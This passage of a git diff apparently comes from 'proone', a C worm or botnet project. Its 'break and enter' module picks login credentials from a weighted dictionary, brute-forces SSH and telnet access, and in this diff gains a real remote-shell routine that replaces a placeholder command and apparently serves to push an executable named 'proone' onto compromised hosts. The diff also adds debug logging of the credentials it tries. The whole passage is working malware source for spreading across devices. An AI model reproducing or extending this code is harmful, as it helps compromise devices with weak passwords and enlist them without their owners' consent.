*ent_id, *ent_pw; - bool ret = true, id_match; - - if (ctx->cred_set.size == 0) { - return false; - } - if (ctx->param.cb.enter_dd != NULL && !ctx->param.cb.enter_dd()) { - ctx->result.err = errno; - return false; - } - - prne_init_iset(&w_set); - prne_init_llist(&cl); - - // gather weight values - for (size_t i = 0; i < ctx->cred_set.size; i += 1) { - ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i]; - if (!prne_iset_insert(&w_set, (prne_iset_val_t)(ent->weight))) { - ctx->result.err = errno; - ret = false; - goto END; - } - } - - do { - w_tmp = 0; - for (size_t i = 0; i < w_set.size; i += 1) { - w_tmp += (uint_fast16_t)w_set.arr[i]; - } - - // determine weight - if (!prne_rnd(&ctx->rnd, (uint8_t*)&coin, sizeof(size_t))) { - ctx->result.err = errno; - ret = false; - goto END; - } - - if (w_tmp > 0) { - coin = coin % w_tmp; - - w_tmp = 0; - wv = (uint8_t)(w_set.arr[w_set.size - 1]); - for (size_t i = 0; i < w_set.size; i += 1) { - w_tmp += (uint_fast16_t)w_set.arr[i]; - if (coin < w_tmp) { - wv = (uint8_t)(w_set.arr[i]); - break; - } - } - } - else { - wv = 0; - } - - // search - prne_llist_clear(&cl); - for (size_t i = 0; i < ctx->cred_set.size; i += 1) { - ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i]; - ent_id = ctx->param.cred_dict->m + ent->id; - - if (per_id && ctx->result.cred.id != NULL) { - id_match = strcmp(ctx->result.cred.id, ent_id) == 0; - } - else { - id_match = true; - } - - if (id_match && ent->weight == wv) { - if (!prne_llist_append(&cl, (prne_llist_element_t)ent)) { - ret = false; - ctx->result.err = errno; - goto END; - } - } - } - - if (cl.size > 0) { - prne_llist_entry_t *le; - - if (!prne_rnd(&ctx->rnd, (uint8_t*)&coin, sizeof(size_t))) { - ctx->result.err = errno; - ret = false; - goto END; - } - coin = coin % cl.size; - - le = cl.head; - for (size_t i = 0; i < coin; i += 1) { - le = le->next; - } - - rc = (prne_cred_dict_entry_t*)le->element; - goto END; - } - else { - // try next weight value - prne_iset_erase(&w_set, (prne_iset_val_t)(wv)); - } - } while (w_set.size > 0); - -END: - prne_free_iset(&w_set); - prne_free_llist(&cl); - bne_free_result_cred(ctx); - if (rc != NULL && ret) { - size_t id_len, pw_len; - - prne_iset_erase(&ctx->cred_set, (prne_iset_val_t)rc); - - ent_id = ctx->param.cred_dict->m + rc->id; - ent_pw = ctx->param.cred_dict->m + rc->pw; - id_len = strlen(ent_id); - pw_len = strlen(ent_pw); - - ctx->result.cred.id = prne_alloc_str(id_len); - ctx->result.cred.pw = prne_alloc_str(pw_len); - if (ctx->result.cred.id == NULL || ctx->result.cred.pw == NULL) { - ctx->result.err = errno; - ret = false; - bne_free_result_cred(ctx); - } - else { - memcpy(ctx->result.cred.id, ent_id, id_len + 1); - memcpy(ctx->result.cred.pw, ent_pw, pw_len + 1); - } - } - - if (ctx->param.cb.exit_dd != NULL) { - ctx->param.cb.exit_dd(); - } - - return ret; -} - static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { bool ret = false; pth_event_t ev = NULL; @@ -434,12 +1317,7 @@ static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { } } - pth_event_free(ev, FALSE); - ev = pth_event( - PTH_EVENT_TIME, - prne_pth_tstimeout(BNE_SCK_OP_TIMEOUT)); - prne_assert(ev != NULL); - + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); if (vs->auth_list == NULL) { const char *tmp = prne_lssh2_ua_list( vs->ss, @@ -476,6 +1354,14 @@ static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { if (f_ret == 0) { // need auth // check vs->auth_list maybe? + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { + prne_dbgpf( + "bne@%"PRIxPTR"\t: trying cred %s %s\n", + (uintptr_t)ctx, + ctx->result.cred.id, + ctx->result.cred.pw); + } + f_ret = prne_lssh2_ua_pwd( vs->ss, vs->fd, @@ -551,16 +1437,117 @@ static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { return ret; } -static bool bne_do_vec_telnet (prne_bne_t *ctx) { - // TODO - return false; +static ssize_t bne_vssh_read_f ( + void *ctx_p, + void *buf_p, + const size_t buf_size, + pth_event_t ev) +{ + bne_vssh_ctx_t *ctx = (bne_vssh_ctx_t*)ctx_p; + size_t rem_size = buf_size; + ssize_t ret = 0, f_ret; + char *buf = (char*)buf_p; + bool eof[2] = { false, false }; + int tmp; + struct pollfd pfd; + + pfd.fd = ctx->fd; + while (true) { + f_ret = libssh2_channel_read_stderr( + ctx->ch_shell, + buf, + rem_size); + if (f_ret < 0) { + if (f_ret != LIBSSH2_ERROR_EAGAIN) { + ret = -1; + break; + } + } + else if (f_ret > 0) { + ret += f_ret; + buf += f_ret; + rem_size -= f_ret; + } + else { + eof[0] = true; + } + + if (ret > 0) { + break; + } + + f_ret = libssh2_channel_read( + ctx->ch_shell, + buf, + rem_size); + if (f_ret < 0) { + if (f_ret != LIBSSH2_ERROR_EAGAIN) { + ret = -1; + break; + } + } + else if (f_ret > 0) { + ret += f_ret; + buf += f_ret; + rem_size -= f_ret; + } + else { + eof[1] = true; + } + + if (ret > 0 || (eof[0] && eof[1])) { + break; + } + + tmp = libssh2_session_block_directions(ctx->ss); + pfd.events = 0; + if (tmp & LIBSSH2_SESSION_BLOCK_INBOUND) { + pfd.events |= POLLIN; + } + if (tmp & LIBSSH2_SESSION_BLOCK_OUTBOUND) { + pfd.events |= POLLOUT; + } + + tmp = prne_pth_poll(&pfd, 1, -1, ev); + if (tmp <= 0) { + ret = -1; + break; + } + } + + return ret; +} + +static ssize_t bne_vssh_write_f ( + void *ctx_p, + const void *buf_p, + const size_t buf_size, + pth_event_t ev) +{ + bne_vssh_ctx_t *ctx = (bne_vssh_ctx_t*)ctx_p; + return prne_lssh2_ch_write( + ctx->ss, + ctx->ch_shell, + ctx->fd, + buf_p, + buf_size, + ev); } static bool bne_vssh_do_shell (prne_bne_t *ctx, bne_vssh_ctx_t *vs) { - // TODO - static const char *CMD = "echo \"boop!\" > /tmp/prne.boop\n"; - prne_lssh2_ch_write(vs->ss, vs->ch_shell, vs->fd, CMD, strlen(CMD), NULL); - return true; + bne_sh_ctx_t sh_ctx; + bool ret; + + bne_init_sh_ctx(&sh_ctx); + sh_ctx.ctx = vs; + sh_ctx.read_f = bne_vssh_read_f; + sh_ctx.write_f = bne_vssh_write_f; + + // TODO: try exec cat command on a separate channel, write() binary directly + ret = bne_do_shell(ctx, &sh_ctx); + + bne_free_sh_ctx(&sh_ctx); + return ret; } static bool bne_do_vec_ssh (prne_bne_t *ctx) { @@ -605,6 +1592,26 @@ static bool bne_do_vec_ssh (prne_bne_t *ctx) { // `ctx->result.cred` must be set at this point if (vssh_ctx.ch_shell != NULL) { ret = bne_vssh_do_shell(ctx, &vssh_ctx); + + if (ret) { + pth_event_t ev = NULL; + + bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + // close the channel and wait for the remote end to do the same + // this ensures that the issued commands are completed + prne_lssh2_close_ch( + vssh_ctx.ss, + vssh_ctx.ch_shell, + vssh_ctx.fd, + ev); + prne_lssh2_ch_wait_closed( + vssh_ctx.ss, + vssh_ctx.ch_shell, + vssh_ctx.fd, + ev); + + pth_event_free(ev, FALSE); + } } END: @@ -621,6 +1628,9 @@ END: return ret; } +/******************************************************************************* + Extern Impl +*******************************************************************************/ static void bne_free_ctx_f (void *p) { prne_bne_t *ctx = (prne_bne_t*)p; @@ -685,7 +1695,7 @@ prne_bne_t *prne_alloc_bne ( prne_bne_t *ret = NULL; uint8_t seed[PRNE_RND_WELL512_SEEDLEN]; - if (ctr_drbg == NULL) { + if (ctr_drbg == NULL || param->cb.exec_name == NULL) { errno = EINVAL; return NULL; } @@ -711,6 +1721,7 @@ prne_bne_t *prne_alloc_bne ( ret->result.subject = &ret->param.subject; ret->result.vec = PRNE_BNE_V_NONE; ret->result.prc = PRNE_PACK_RC_OK; + ret->result.arch = PRNE_ARCH_NONE; w->ctx = ret; w->entry = bne_entry_f; @@ -32,6 +32,7 @@ struct prne_bne_param { size_t cnt; } vector; struct { + char *(*exec_name)(void); bool (*enter_dd)(void); void (*exit_dd)(void); } cb; @@ -56,6 +57,7 @@ struct prne_bne_result { int err; prne_bne_vector_t vec; prne_pack_rc_t prc; + prne_arch_t arch; }; void prne_init_bne_param (prne_bne_param_t *p); diff --git a/src/endian.h b/src/endian.h index 2a63b4b..920f3ed 100644 --- a/src/endian.h +++ b/src/endian.h @@ -59,8 +59,12 @@ #if PRNE_HOST_ENDIAN == PRNE_ENDIAN_BIG #define prne_htobe16(x) (x) #define prne_be16toh(x) (x) +#define prne_htole16(x) prne_einv16(x) +#define prne_le16toh(x) prne_einv16(x) #elif PRNE_HOST_ENDIAN == PRNE_ENDIAN_LITTLE #define prne_htobe16(x) prne_einv16(x) #define prne_be16toh(x) prne_einv16(x) +#define prne_htole16(x) (x) +#define prne_le16toh(x) (x) #else #endif diff --git a/src/libssh2.c b/src/libssh2.c index b55e093..23c2f1d 100644 --- a/src/libssh2.c +++ b/src/libssh2.c @@ -87,12 +87,8 @@ static int lssh2_handle ( } f_ret = prne_pth_poll(&pfd, 1, -1, ev); - if (f_ret < 0) { - break; - } - else if (f_ret == 0) { + if (f_ret <= 0) { f_ret = -1; - errno = ETIMEDOUT; break; } } @@ -180,6 +176,38 @@ LIBSSH2_CHANNEL *prne_lssh2_open_ch ( return ctx.ret; } +static int lssh2_close_ch_f (void *p) { + lssh2_cbctx_ch_f_t *ctx = (lssh2_cbctx_ch_f_t*)p; + return libssh2_channel_close(ctx->c); +} + +int prne_lssh2_close_ch ( + LIBSSH2_SESSION *s, + LIBSSH2_CHANNEL *c, + const int fd, + pth_event_t ev) +{ + lssh2_cbctx_ch_f_t ctx; + ctx.c = c; + return lssh2_handle(s, fd, ev, &ctx, lssh2_close_ch_f); +} + +static int lssh2_ch_wait_closed_f (void *p) { + lssh2_cbctx_ch_f_t *ctx = (lssh2_cbctx_ch_f_t*)p; + return libssh2_channel_wait_closed(ctx->c); +} + +int prne_lssh2_ch_wait_closed ( + LIBSSH2_SESSION *s, + LIBSSH2_CHANNEL *c, + const int fd, + pth_event_t ev) +{ + lssh2_cbctx_ch_f_t ctx; + ctx.c = c; + return lssh2_handle(s, fd, ev, &ctx, lssh2_ch_wait_closed_f); +} + static int lssh2_ch_req_pty_f (void *p) { lssh2_cbctx_ch_f_t *ctx = (lssh2_cbctx_ch_f_t*)p; return libssh2_channel_request_pty(ctx->c, (const char*)ctx->buf); diff --git a/src/libssh2.h b/src/libssh2.h index df7d315..88d1a7d 100644 --- a/src/libssh2.h +++ b/src/libssh2.h @@ -19,6 +19,16 @@ LIBSSH2_CHANNEL *prne_lssh2_open_ch ( const int fd, pth_event_t ev, int *err); +int prne_lssh2_close_ch ( + LIBSSH2_SESSION *s, + LIBSSH2_CHANNEL *c, + const int fd, + pth_event_t ev); +int prne_lssh2_ch_wait_closed ( + LIBSSH2_SESSION *s, + LIBSSH2_CHANNEL *c, + const int fd, + pth_event_t ev); int prne_lssh2_ch_req_pty ( LIBSSH2_SESSION *s, LIBSSH2_CHANNEL *c, diff --git a/src/proone-bne.c b/src/proone-bne.c index fd897a7..2770280 100644 --- a/src/proone-bne.c +++ b/src/proone-bne.c @@ -106,6 +106,17 @@ static void report_result (const prne_bne_result_t *r) { } } +static char *cb_exec_name (void) { + static const char *EXEC_NAME = "proone"; + const size_t len = strlen(EXEC_NAME); + char *ret = prne_alloc_str(len); + + prne_assert(ret != NULL); + memcpy(ret, EXEC_NAME, len + 1); + + return ret; +} + int main (const int argc, const char **args) { static prne_bne_vector_t ARR_VEC[] = { PRNE_BNE_V_BRUTE_TELNET, @@ -227,6 +238,7 @@ int main (const int argc, const char **args) { param.rcb.m_dv = m_dv; param.rcb.dv_len = dv_len; param.rcb.ba = &ba; + param.cb.exec_name = cb_exec_name; for (size_t i = 0; i < cnt; i += 1) { prne_worker_t *w = prne_malloc(sizeof(prne_worker_t), 1); diff --git a/src/util_rt.c b/src/util_rt.c index df12015..d3aa132 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -221,6 +221,27 @@ void prne_transstr (char *str, int(*trans_f)(int)) { } } +char *prne_strnstr ( + const char *haystack, + size_t hs_len, + const char *const needle, + const size_t n_len) +{ + if (n_len == 0) { + return NULL; + } + + while (hs_len >= n_len) { + if (*haystack == *needle && memcmp(haystack, needle, n_len) == 0) { + return (char*)haystack; + } + haystack += 1; + hs_len -= 1; + } + + return NULL; +} + bool prne_hex_fromstr (const char *str, uint_fast8_t *out) { static const uint_fast8_t shift[2] = { 4, 0 }; size_t i; diff --git a/src/util_rt.h b/src/util_rt.h index 3d94bf5..726cf98 100644 --- a/src/util_rt.h +++ b/src/util_rt.h @@ -43,6 +43,11 @@ void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t l char *prne_strnchr (const char *p, const char c, const size_t n); size_t prne_str_shift_spaces (char *str, const size_t len); void prne_transstr (char *str, int(*trans_f)(int)); +char *prne_strnstr ( + const char *haystack, + size_t hs_len, + const char *const needle, + const size_t n_len); bool prne_hex_fromstr (const char *str, uint_fast8_t *out); void prne_hex_tochar (const uint_fast8_t in, char *out, const bool upper); |